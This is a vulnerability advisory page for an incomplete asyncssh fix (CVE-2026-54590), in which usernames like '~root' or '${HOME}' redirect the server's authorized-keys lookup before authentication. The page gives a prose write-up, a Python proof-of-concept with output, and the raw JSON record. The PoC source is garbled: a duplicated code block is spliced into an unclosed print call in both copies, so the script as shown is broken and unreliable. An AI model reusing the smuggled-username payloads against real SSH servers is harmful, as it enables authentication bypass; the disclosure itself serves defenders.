BREW-KIMI-CLI-CVE-2026-54590 (GHSA-QR67-GV47-XWWH)

Vulnerability from osv_homebrew – Published: 2026-08-27 12:24 – Updated: 2026-09-10 19:37 – Source website
VLAI
Summary
asyncssh has an incomplete fix for CVE-2026-45309 — AuthorizedKeysFile %u still escapes the intended directory via a leading ~ (and weakly via ${ENV}) username substitution
Details

Incomplete fix for CVE-2026-45309 (GHSA-g794-3fmp-753h). The 2.23.0 guard that sanitises the SSH username before %u substitution in AuthorizedKeysFile blocks /, \ and .., but does not block a leading ~ (or ${ENV}), both of which are re-introduced by later expansion and reach the file open — defeating the guard.

Affected: asyncssh 2.23.0 and current develop (commit a60f863, HEAD on 2026-05-29).

## Summary The fix for CVE-2026-45309 added a guard in SSHServerConfig._set_tokens (asyncssh/config.py:715-716) that rejects an SSH username containing /, \, or equal to .., before it is substituted for the %u token in AuthorizedKeysFile:

  if self._user == '..' or '/' in self._user or '\\' in self._user:
      raise IllegalUserName('Unsafe username substitution')

However, the %u-substituted value is subsequently passed through environment-variable expansion (_expand_val, config.py:145-149 — token expansion then env expansion) and, at file-open time, through expanduser() (read_authorized_keys → read_file → open(Path(filename).expanduser()), auth_keys.py:348 → misc.py:290). Both re-introduce the path control the guard was meant to remove, so a username that contains no //\ can still cause the server to read an authorized-keys file outside the intended per-user directory.

The client-supplied username reaches this path pre-authentication: _process_userauth_request takes the username from the SSH_MSG_USERAUTH_REQUEST packet (connection.py:2516-2519) and _finish_userauth calls reload_config() (connection.py:2536), which re-evaluates AuthorizedKeysFile with username=self._username (connection.py:5906) before the offered key is validated.

## Primary vector — leading ~ A username such as ~root or ~victim passes the guard (no /). For a server whose AuthorizedKeysFile begins with %u — e.g. AuthorizedKeysFile %u/.ssh/authorized_keys — the expanded value is ~victim/.ssh/authorized_keys, which expanduser() resolves to /home/victim/.ssh/authorized_keys (~root → /root/...; a bare ~ → the server process's home). The username has therefore escaped the intended per-user location without using any path separator — defeating the purpose of the guard.

Note: expanduser() only expands a leading ~, so this vector requires %u to be the first path component of AuthorizedKeysFile. (The CVE-2026-45309 authorized_keys/%u example — %u not leading — is not reachable this way; that was the ../ form.)

## Impact and limitations - Demonstrated (verified against source at a60f863): the guard is bypassable and the authorized-keys lookup is redirected to an attacker-named home tree, pre-auth, with a separator-free username. - Impact model = identical to CVE-2026-45309: authenticating as the redirected username when a readable authorized-keys file containing the attacker's key is reachable at the redirected location. The parent CVE accepted this exact precondition and was scored C:N/I:H/A:N; this is scored consistently. - Not built: a live multi-account SSH auth harness; the PoC verifies the path-redirection mechanism in-process, deterministically. No new primitive is claimed beyond the parent CVE's accepted model — only that the 2.23.0 fix does not close it for ~/${ENV}. - Preconditions (captured by AC:H): %u must be the leading path component; on Python 3.13, Path('~nonexistentuser').expanduser() raises RuntimeError, so only existing accounts are reachable (confirmed: asyncssh 2.23.0, Python 3.13.12).

## Secondary vector — ${ENV} (defense-in-depth only) A username like ${HOME} also passes the guard and is then environment-expanded, re-introducing /. Weaker and not a practical exploit: the attacker can only reference env vars that already exist in the server process (a missing variable raises ConfigParseError) and cannot control their values. Reported as hardening.

## Reproduction In-process, deterministic, no network. Against a checkout of asyncssh 2.23.0:

  cd /path/to/asyncssh
  PYTHONPATH=/path/to/asyncssh python3 poc_authkeys_token_bypass.py

Output (abridged):

  [1] original CVE '../../../../tmp/evil' blocked: True   (fix present)
      literal-slash user '/etc' blocked:           True
  [A] tilde bypass  user '~root':
      guard blocks it? False        (False == bypass)
      expanded config value : ['~root/.ssh/authorized_keys']
      after expanduser()    : /root/.ssh/authorized_keys   <-- read  as authorized_keys
  VERDICT: guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)

## Suggested fix Tighten _set_tokens to also reject usernames that re-introduce path control after expansion — reject a leading ~ / ~user and $/${ references in self._user. More robustly, validate that the FINAL expanded AuthorizedKeysFile path remains within the intended base directory, and/or suppress expanduser/environment expansion on the %u-derived component specifically.

## Disclosure Coordinated, ~90-day default. I will not publish details/PoC before a fix is released, and am happy to validate the patch. Credit (if given) to cesabici-bit.

## PoC source (see code block below)

 #!/usr/bin/env python3
  """
  PoC: incomplete fix for CVE-2026-45309 (AsyncSSH AuthorizedKeysFile %u path
  control). Local-only, in-process, deterministic. No network.

  CVE-2026-45309 (fixed in v2.23.0, commit 2af2382) added a blocklist in
  SSHServerConfig._set_tokens that rejects a client username containing
  '/', '\\', or equal to '..' before it is substituted for the %u token in
  the server's AuthorizedKeysFile directive.

  This PoC shows the blocklist is bypassable: the %u value is afterwards run
  through (1) ${ENV} expansion and (2) ~ expanduser(), both of which
  re-introduce the path control the guard was meant to remove.

  CAVEAT (triage 2026-05-29): the PRIMARY vector is (2) ~ expanduser() — it lets
  a separator-free username (e.g. '~root') escape to another home tree when %u
  is the LEADING path component. Vector (1) ${ENV} is WEAK: a real attacker can
  only REFERENCE env vars that already exist on the server and cannot control
  their VALUES; the ${ASYNCSSH_POC_VAR} demo below sets the var itself purely to
  illustrate the expansion, and does NOT represent attacker capability. Treat (1)
  as defense-in-depth, (2) as the load-bearing finding. See NOTES.md / REPORT.md.

  Run from a checkout of asyncssh (cwd on sys.path), e.g.:
      cd /tmp/targets/asyncssh && python3 <thisfile>
  """

  import os
  import sys
  import tempfile
  from pathlib import Path

  import asyncssh
  from asyncssh.config import SSHServerConfig

  try:
      from asyncssh.misc import IllegalUserName
  except Exception:  # pragma: no cover
      IllegalUserName = asyncssh.IllegalUserName


  def expand_authkeys(user, cfg_text):
      """Load a server config exactly as SSHServerConnection does and return the
      expanded AuthorizedKeysFile value (a list). Raises IllegalUserName if the
      CVE-2026-45309 guard fires."""
      with tempfile.NamedTemporaryFile("w", suffix=".conf", delete=False) as f:
          f.write(cfg_text)
          cfg_path = f.name
      try:
          # mirror connection.py:8897
          #   SSHServerConfig.load(last_config, config, reload, canonical, final,
          #                        accept_addr, accept_port, username,
          #                        client_host, client_addr)
          cfg = SSHServerConfig.load(
              None, cfg_path, True, False, False,
              "127.0.0.1", 22, user, "client.example", "203.0.113.7",
          )
          return cfg.get("AuthorizedKeysFile")
      finally:
          os.unlink(cfg_path)


  def guard_blocks(user, cfg_text):
      """Return True if the CVE-2026-45309 guard rejects this username."""
      try:
          expand_authkeys(user, cfg_text)
          return False
      except IllegalUserName:
          return True


  def main():
      print(f"# asyncssh {asyncssh.__version__}  ({asyncssh.__file__})")
      print(f"# python {sys.version.split()[0]}\n")

      results = []

      # ---- Sanity 0: benign username expands normally -----------------------
      cfg = "AuthorizedKeysFile /etc/ssh/authorized_keys.d/%u"
      val = expand_authkeys("alice", cfg)
      print(f"[0] benign user 'alice':            {val}")
      results.append(("benign expands to per-user path",
                      val == ["/etc/ssh/authorized_keys.d/alice"]))

      # ---- Sanity 1: original CVE-2026-45309 is blocked ---------------------
      blocked = guard_blocks("../../../../tmp/evil", cfg)
      print(f"[1] original CVE '../../../../tmp/evil' blocked: {blocked}")
      results.append(("original CVE traversal is blocked (fix present)", blocked))

      # also: a literal slash is blocked (the guard's whole purpose)
      slash_blocked = guard_blocks("/etc", cfg)
      print(f"    literal-slash user '/etc' blocked: {slash_blocked}")
      results.append(("literal-slash username is blocked", slash_blocked))

      print()

      # ---- BYPASS A: ~ tilde survives the guard, reaches expanduser() -------
      cfg_a = "AuthorizedKeysFile %u/.ssh/authorized_keys"
      blocked_a = guard_blocks("~root", cfg_a)
      val_a = expand_authkeys("~root", cfg_a)
      resolved_a = str(Path(val_a[0]).expanduser())  # what read_file()/open_file() does
      print(f"[A] tilde bypass  user '~root':")
      print(f"    guard blocks it? {blocked_a}   (False == bypass)")
      print(f"    expanded config value : {val_a}")
      print(f"    after expanduser()    : {resolved_a}   <-- read as authorized_keys")
      results.append(("A: ~user NOT blocked by guard", not blocked_a))
      results.append(("A: expanduser() redirects to another home tree",
                      resolved_a.startswith("/root/") or "~" not in resolved_a))

      print()

      # ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' -----------
      # The username contains no '/','\\' and is not '..', so the guard passes.
      # Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a
      # server value that DOES contain '/', defeating the separator filter.
      cfg_b = "AuthorizedKeysFile %u"
      os.environ.setdefault("HOME", "/root")
      blocked_b = guard_blocks("${HOME}", cfg_b)
      val_b = expand_authkeys("${HOME}", cfg_b)
      print(f"[B] env bypass    user '${{HOME}}':")
      print(f"    guard blocks it? {blocked_b}   (False == bypass)")
      print(f"    expanded config value : {val_b} (HOME={os.environ['HOME']})")
      sep_injected = any("/" in p for p in val_b)
      print(f"    contains '/' after guard? {sep_injected}   <-- separator filter bypassed")
      results.append(("B: ${ENV} username NOT blocked by guard", not blocked_b))
      results.append(("B: ${ENV} re-introduces '/' the guard rejected literally",
                      sep_injected))

      # demonstrate arbitrary '/'-containing absolute path via a referenced var
      os.environ["ASYNCSSH_POC_VAR"] = "/tmp/asyncssh_poc/INJECTED/authorized_keys"
      val_b2 = expand_authkeys("${ASYNCSSH_POC_VAR}", cfg_b)
      print(f"    via referenced env var: {val_b2}")
      results.append(("B: env value yields absolute '/'-path post-guard",
                      val_b2 == ["/tmp/asyncssh_poc/INJECTED/authorized_keys"]))

      # ---- verdict ----------------------------------------------------------
      print("\n==== RESULTS ====")
      ok = True
      for name, passed in results:
          print(f"  [{'PASS' if passed else 'FAIL'}] {name}")
          ok = ok and passed
      print("\nVERDICT:",

      print()

      # ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' -----------
      # The username contains no '/','\\' and is not '..', so the guard passes.
      # Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a
      # server value that DOES contain '/', defeating the separator filter.
      cfg_b = "AuthorizedKeysFile %u"
      os.environ.setdefault("HOME", "/root")
      blocked_b = guard_blocks("${HOME}", cfg_b)
      val_b = expand_authkeys("${HOME}", cfg_b)
      print(f"[B] env bypass    user '${{HOME}}':")
      print(f"    guard blocks it? {blocked_b}   (False == bypass)")
      print(f"    expanded config value : {val_b}   (HOME={os.environ['HOME']})")
      sep_injected = any("/" in p for p in val_b)
      print(f"    contains '/' after guard? {sep_injected}   <-- separator filter bypassed")
      results.append(("B: ${ENV} username NOT blocked by guard", not blocked_b))
      results.append(("B: ${ENV} re-introduces '/' the guard rejected literally",
                      sep_injected))

      # demonstrate arbitrary '/'-containing absolute path via a referenced var
      os.environ["ASYNCSSH_POC_VAR"] = "/tmp/asyncssh_poc/INJECTED/authorized_keys"
      val_b2 = expand_authkeys("${ASYNCSSH_POC_VAR}", cfg_b)
      print(f"    via referenced env var: {val_b2}")
      results.append(("B: env value yields absolute '/'-path post-guard",
                      val_b2 == ["/tmp/asyncssh_poc/INJECTED/authorized_keys"]))

      # ---- verdict ----------------------------------------------------------
      print("\n==== RESULTS ====")
      ok = True
      for name, passed in results:
          print(f"  [{'PASS' if passed else 'FAIL'}] {name}")
          ok = ok and passed
      print("\nVERDICT:",
            "guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)"
            if ok else "one or more checks did not hold")
      return 0 if ok else 1


  if __name__ == "__main__":
      sys.exit(main())

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": null,
        "range_state": "affected",
        "resource": "asyncssh",
        "resource_purl": "pkg:pypi/asyncssh@2.21.1",
        "upstream_fixed_in": "2.23.1"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "kimi-cli",
        "purl": "pkg:brew/kimi-cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/asyncssh@2.21.1",
        "name": "asyncssh",
        "resource": "asyncssh",
        "strategy": "registry",
        "subject_version": "2.21.1"
      }
    ]
  },
  "details": "**Incomplete fix for CVE-2026-45309 (GHSA-g794-3fmp-753h).** The\n  2.23.0 guard that sanitises the SSH username before `%u` substitution\n  in `AuthorizedKeysFile` blocks `/`, `\\` and `..`, but does not block a\n  leading `~` (or `${ENV}`), both of which are re-introduced by later\n  expansion and reach the file open \u2014 defeating the guard.\n\n  **Affected:** asyncssh 2.23.0 and current `develop` (commit `a60f863`,\n  HEAD on 2026-05-29).\n\n  ## Summary\n  The fix for CVE-2026-45309 added a guard in\n  `SSHServerConfig._set_tokens` (`asyncssh/config.py:715-716`) that\n  rejects an SSH username containing `/`, `\\`, or equal to `..`, before\n  it is substituted for the `%u` token in `AuthorizedKeysFile`:\n\n      if self._user == \u0027..\u0027 or \u0027/\u0027 in self._user or \u0027\\\\\u0027 in self._user:\n          raise IllegalUserName(\u0027Unsafe username substitution\u0027)\n\n  However, the `%u`-substituted value is subsequently passed through\n  environment-variable expansion (`_expand_val`, `config.py:145-149` \u2014\n  token expansion then env expansion) and, at file-open time, through\n  `expanduser()` (`read_authorized_keys` \u2192 `read_file` \u2192\n  `open(Path(filename).expanduser())`, `auth_keys.py:348` \u2192\n  `misc.py:290`). Both re-introduce the path control the guard was meant\n  to remove, so a username that contains no `/`/`\\` can still cause the\n  server to read an authorized-keys file outside the intended per-user\n  directory.\n\n  The client-supplied username reaches this path pre-authentication:\n  `_process_userauth_request` takes the username from the\n  `SSH_MSG_USERAUTH_REQUEST` packet (`connection.py:2516-2519`) and\n  `_finish_userauth` calls `reload_config()` (`connection.py:2536`),\n  which re-evaluates `AuthorizedKeysFile` with `username=self._username`\n  (`connection.py:5906`) before the offered key is validated.\n\n  ## Primary vector \u2014 leading `~`\n  A username such as `~root` or `~victim` passes the guard (no `/`). For\n  a server whose `AuthorizedKeysFile` begins with `%u` \u2014 e.g.\n  `AuthorizedKeysFile %u/.ssh/authorized_keys` \u2014 the expanded value is\n  `~victim/.ssh/authorized_keys`, which `expanduser()` resolves to\n  `/home/victim/.ssh/authorized_keys` (`~root` \u2192 `/root/...`; a bare `~`\n  \u2192 the server process\u0027s home). The username has therefore escaped the\n  intended per-user location without using any path separator \u2014\n  defeating the purpose of the guard.\n\n  Note: `expanduser()` only expands a leading `~`, so this vector\n  requires `%u` to be the first path component of `AuthorizedKeysFile`.\n  (The CVE-2026-45309 `authorized_keys/%u` example \u2014 `%u` not leading \u2014\n  is not reachable this way; that was the `../` form.)\n\n  ## Impact and limitations\n  - Demonstrated (verified against source at `a60f863`): the guard is\n  bypassable and the authorized-keys lookup is redirected to an\n  attacker-named home tree, pre-auth, with a separator-free username.\n  - Impact model = identical to CVE-2026-45309: authenticating as the\n  redirected username when a readable authorized-keys file containing\n  the attacker\u0027s key is reachable at the redirected location. The parent\n  CVE accepted this exact precondition and was scored `C:N/I:H/A:N`;\n  this is scored consistently.\n  - Not built: a live multi-account SSH auth harness; the PoC verifies\n  the path-redirection mechanism in-process, deterministically. No new\n  primitive is claimed beyond the parent CVE\u0027s accepted model \u2014 only\n  that the 2.23.0 fix does not close it for `~`/`${ENV}`.\n  - Preconditions (captured by AC:H): `%u` must be the leading path\n  component; on Python 3.13, `Path(\u0027~nonexistentuser\u0027).expanduser()`\n  raises `RuntimeError`, so only existing accounts are reachable\n  (confirmed: asyncssh 2.23.0, Python 3.13.12).\n\n  ## Secondary vector \u2014 `${ENV}` (defense-in-depth only)\n  A username like `${HOME}` also passes the guard and is then\n  environment-expanded, re-introducing `/`. Weaker and not a practical\n  exploit: the attacker can only reference env vars that already exist\n  in the server process (a missing variable raises `ConfigParseError`)\n  and cannot control their values. Reported as hardening.\n\n  ## Reproduction\n  In-process, deterministic, no network. Against a checkout of asyncssh\n  2.23.0:\n\n      cd /path/to/asyncssh\n      PYTHONPATH=/path/to/asyncssh python3 poc_authkeys_token_bypass.py\n\n  Output (abridged):\n\n      [1] original CVE \u0027../../../../tmp/evil\u0027 blocked: True   (fix present)\n          literal-slash user \u0027/etc\u0027 blocked:           True\n      [A] tilde bypass  user \u0027~root\u0027:\n          guard blocks it? False        (False == bypass)\n          expanded config value : [\u0027~root/.ssh/authorized_keys\u0027]\n          after expanduser()    : /root/.ssh/authorized_keys   \u003c-- read  as authorized_keys\n      VERDICT: guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)\n\n  ## Suggested fix\n  Tighten `_set_tokens` to also reject usernames that re-introduce path\n  control after expansion \u2014 reject a leading `~` / `~user` and `$`/`${`\n  references in `self._user`. More robustly, validate that the FINAL\n  expanded `AuthorizedKeysFile` path remains within the intended base\n  directory, and/or suppress `expanduser`/environment expansion on the\n  `%u`-derived component specifically.\n\n  ## Disclosure\n  Coordinated, ~90-day default. I will not publish details/PoC before a\n  fix is released, and am happy to validate the patch. Credit (if given)\n  to `cesabici-bit`.\n\n  ## PoC source\n  (see code block below)\n\n```python\n #!/usr/bin/env python3\n  \"\"\"\n  PoC: incomplete fix for CVE-2026-45309 (AsyncSSH AuthorizedKeysFile %u path\n  control). Local-only, in-process, deterministic. No network.\n\n  CVE-2026-45309 (fixed in v2.23.0, commit 2af2382) added a blocklist in\n  SSHServerConfig._set_tokens that rejects a client username containing\n  \u0027/\u0027, \u0027\\\\\u0027, or equal to \u0027..\u0027 before it is substituted for the %u token in\n  the server\u0027s AuthorizedKeysFile directive.\n\n  This PoC shows the blocklist is bypassable: the %u value is afterwards run\n  through (1) ${ENV} expansion and (2) ~ expanduser(), both of which\n  re-introduce the path control the guard was meant to remove.\n\n  CAVEAT (triage 2026-05-29): the PRIMARY vector is (2) ~ expanduser() \u2014 it lets\n  a separator-free username (e.g. \u0027~root\u0027) escape to another home tree when %u\n  is the LEADING path component. Vector (1) ${ENV} is WEAK: a real attacker can\n  only REFERENCE env vars that already exist on the server and cannot control\n  their VALUES; the ${ASYNCSSH_POC_VAR} demo below sets the var itself purely to\n  illustrate the expansion, and does NOT represent attacker capability. Treat (1)\n  as defense-in-depth, (2) as the load-bearing finding. See NOTES.md / REPORT.md.\n\n  Run from a checkout of asyncssh (cwd on sys.path), e.g.:\n      cd /tmp/targets/asyncssh \u0026\u0026 python3 \u003cthisfile\u003e\n  \"\"\"\n\n  import os\n  import sys\n  import tempfile\n  from pathlib import Path\n\n  import asyncssh\n  from asyncssh.config import SSHServerConfig\n\n  try:\n      from asyncssh.misc import IllegalUserName\n  except Exception:  # pragma: no cover\n      IllegalUserName = asyncssh.IllegalUserName\n\n\n  def expand_authkeys(user, cfg_text):\n      \"\"\"Load a server config exactly as SSHServerConnection does and return the\n      expanded AuthorizedKeysFile value (a list). Raises IllegalUserName if the\n      CVE-2026-45309 guard fires.\"\"\"\n      with tempfile.NamedTemporaryFile(\"w\", suffix=\".conf\", delete=False) as f:\n          f.write(cfg_text)\n          cfg_path = f.name\n      try:\n          # mirror connection.py:8897\n          #   SSHServerConfig.load(last_config, config, reload, canonical, final,\n          #                        accept_addr, accept_port, username,\n          #                        client_host, client_addr)\n          cfg = SSHServerConfig.load(\n              None, cfg_path, True, False, False,\n              \"127.0.0.1\", 22, user, \"client.example\", \"203.0.113.7\",\n          )\n          return cfg.get(\"AuthorizedKeysFile\")\n      finally:\n          os.unlink(cfg_path)\n\n\n  def guard_blocks(user, cfg_text):\n      \"\"\"Return True if the CVE-2026-45309 guard rejects this username.\"\"\"\n      try:\n          expand_authkeys(user, cfg_text)\n          return False\n      except IllegalUserName:\n          return True\n\n\n  def main():\n      print(f\"# asyncssh {asyncssh.__version__}  ({asyncssh.__file__})\")\n      print(f\"# python {sys.version.split()[0]}\\n\")\n\n      results = []\n\n      # ---- Sanity 0: benign username expands normally -----------------------\n      cfg = \"AuthorizedKeysFile /etc/ssh/authorized_keys.d/%u\"\n      val = expand_authkeys(\"alice\", cfg)\n      print(f\"[0] benign user \u0027alice\u0027:            {val}\")\n      results.append((\"benign expands to per-user path\",\n                      val == [\"/etc/ssh/authorized_keys.d/alice\"]))\n\n      # ---- Sanity 1: original CVE-2026-45309 is blocked ---------------------\n      blocked = guard_blocks(\"../../../../tmp/evil\", cfg)\n      print(f\"[1] original CVE \u0027../../../../tmp/evil\u0027 blocked: {blocked}\")\n      results.append((\"original CVE traversal is blocked (fix present)\", blocked))\n\n      # also: a literal slash is blocked (the guard\u0027s whole purpose)\n      slash_blocked = guard_blocks(\"/etc\", cfg)\n      print(f\"    literal-slash user \u0027/etc\u0027 blocked: {slash_blocked}\")\n      results.append((\"literal-slash username is blocked\", slash_blocked))\n\n      print()\n\n      # ---- BYPASS A: ~ tilde survives the guard, reaches expanduser() -------\n      cfg_a = \"AuthorizedKeysFile %u/.ssh/authorized_keys\"\n      blocked_a = guard_blocks(\"~root\", cfg_a)\n      val_a = expand_authkeys(\"~root\", cfg_a)\n      resolved_a = str(Path(val_a[0]).expanduser())  # what read_file()/open_file() does\n      print(f\"[A] tilde bypass  user \u0027~root\u0027:\")\n      print(f\"    guard blocks it? {blocked_a}   (False == bypass)\")\n      print(f\"    expanded config value : {val_a}\")\n      print(f\"    after expanduser()    : {resolved_a}   \u003c-- read as authorized_keys\")\n      results.append((\"A: ~user NOT blocked by guard\", not blocked_a))\n      results.append((\"A: expanduser() redirects to another home tree\",\n                      resolved_a.startswith(\"/root/\") or \"~\" not in resolved_a))\n\n      print()\n\n      # ---- BYPASS B: ${ENV} survives the guard, re-introduces \u0027/\u0027 -----------\n      # The username contains no \u0027/\u0027,\u0027\\\\\u0027 and is not \u0027..\u0027, so the guard passes.\n      # Token expansion makes %u -\u003e \u0027${HOME}\u0027, then ENV expansion substitutes a\n      # server value that DOES contain \u0027/\u0027, defeating the separator filter.\n      cfg_b = \"AuthorizedKeysFile %u\"\n      os.environ.setdefault(\"HOME\", \"/root\")\n      blocked_b = guard_blocks(\"${HOME}\", cfg_b)\n      val_b = expand_authkeys(\"${HOME}\", cfg_b)\n      print(f\"[B] env bypass    user \u0027${{HOME}}\u0027:\")\n      print(f\"    guard blocks it? {blocked_b}   (False == bypass)\")\n      print(f\"    expanded config value : {val_b} (HOME={os.environ[\u0027HOME\u0027]})\")\n      sep_injected = any(\"/\" in p for p in val_b)\n      print(f\"    contains \u0027/\u0027 after guard? {sep_injected}   \u003c-- separator filter bypassed\")\n      results.append((\"B: ${ENV} username NOT blocked by guard\", not blocked_b))\n      results.append((\"B: ${ENV} re-introduces \u0027/\u0027 the guard rejected literally\",\n                      sep_injected))\n\n      # demonstrate arbitrary \u0027/\u0027-containing absolute path via a referenced var\n      os.environ[\"ASYNCSSH_POC_VAR\"] = \"/tmp/asyncssh_poc/INJECTED/authorized_keys\"\n      val_b2 = expand_authkeys(\"${ASYNCSSH_POC_VAR}\", cfg_b)\n      print(f\"    via referenced env var: {val_b2}\")\n      results.append((\"B: env value yields absolute \u0027/\u0027-path post-guard\",\n                      val_b2 == [\"/tmp/asyncssh_poc/INJECTED/authorized_keys\"]))\n\n      # ---- verdict ----------------------------------------------------------\n      print(\"\\n==== RESULTS ====\")\n      ok = True\n      for name, passed in results:\n          print(f\"  [{\u0027PASS\u0027 if passed else \u0027FAIL\u0027}] {name}\")\n          ok = ok and passed\n      print(\"\\nVERDICT:\",\n\n      print()\n\n      # ---- BYPASS B: ${ENV} survives the guard, re-introduces \u0027/\u0027 -----------\n      # The username contains no \u0027/\u0027,\u0027\\\\\u0027 and is not \u0027..\u0027, so the guard passes.\n      # Token expansion makes %u -\u003e \u0027${HOME}\u0027, then ENV expansion substitutes a\n      # server value that DOES contain \u0027/\u0027, defeating the separator filter.\n      cfg_b = \"AuthorizedKeysFile %u\"\n      os.environ.setdefault(\"HOME\", \"/root\")\n      blocked_b = guard_blocks(\"${HOME}\", cfg_b)\n      val_b = expand_authkeys(\"${HOME}\", cfg_b)\n      print(f\"[B] env bypass    user \u0027${{HOME}}\u0027:\")\n      print(f\"    guard blocks it? {blocked_b}   (False == bypass)\")\n      print(f\"    expanded config value : {val_b}   (HOME={os.environ[\u0027HOME\u0027]})\")\n      sep_injected = any(\"/\" in p for p in val_b)\n      print(f\"    contains \u0027/\u0027 after guard? {sep_injected}   \u003c-- separator filter bypassed\")\n      results.append((\"B: ${ENV} username NOT blocked by guard\", not blocked_b))\n      results.append((\"B: ${ENV} re-introduces \u0027/\u0027 the guard rejected literally\",\n                      sep_injected))\n\n      # demonstrate arbitrary \u0027/\u0027-containing absolute path via a referenced var\n      os.environ[\"ASYNCSSH_POC_VAR\"] = \"/tmp/asyncssh_poc/INJECTED/authorized_keys\"\n      val_b2 = expand_authkeys(\"${ASYNCSSH_POC_VAR}\", cfg_b)\n      print(f\"    via referenced env var: {val_b2}\")\n      results.append((\"B: env value yields absolute \u0027/\u0027-path post-guard\",\n                      val_b2 == [\"/tmp/asyncssh_poc/INJECTED/authorized_keys\"]))\n\n      # ---- verdict ----------------------------------------------------------\n      print(\"\\n==== RESULTS ====\")\n      ok = True\n      for name, passed in results:\n          print(f\"  [{\u0027PASS\u0027 if passed else \u0027FAIL\u0027}] {name}\")\n          ok = ok and passed\n      print(\"\\nVERDICT:\",\n            \"guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)\"\n            if ok else \"one or more checks did not hold\")\n      return 0 if ok else 1\n\n\n  if __name__ == \"__main__\":\n      sys.exit(main())\n```",
  "id": "BREW-kimi-cli-CVE-2026-54590",
  "modified": "2026-09-10T19:37:20Z",
  "published": "2026-08-27T12:24:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ronf/asyncssh/security/advisories/GHSA-qr67-gv47-xwwh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54590"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ronf/asyncssh/commit/3d515ba9ba0cd9990d248bdf62bcf05d51261a88"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ronf/asyncssh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ronf/asyncssh/releases/tag/v2.23.1"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "asyncssh has an incomplete fix for CVE-2026-45309 \u2014 AuthorizedKeysFile %u still escapes the intended directory via a leading ~ (and weakly via ${ENV}) username substitution",
  "upstream": [
    "GHSA-qr67-gv47-xwwh",
    "CVE-2026-54590",
    "PYSEC-2026-3809"
  ]
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…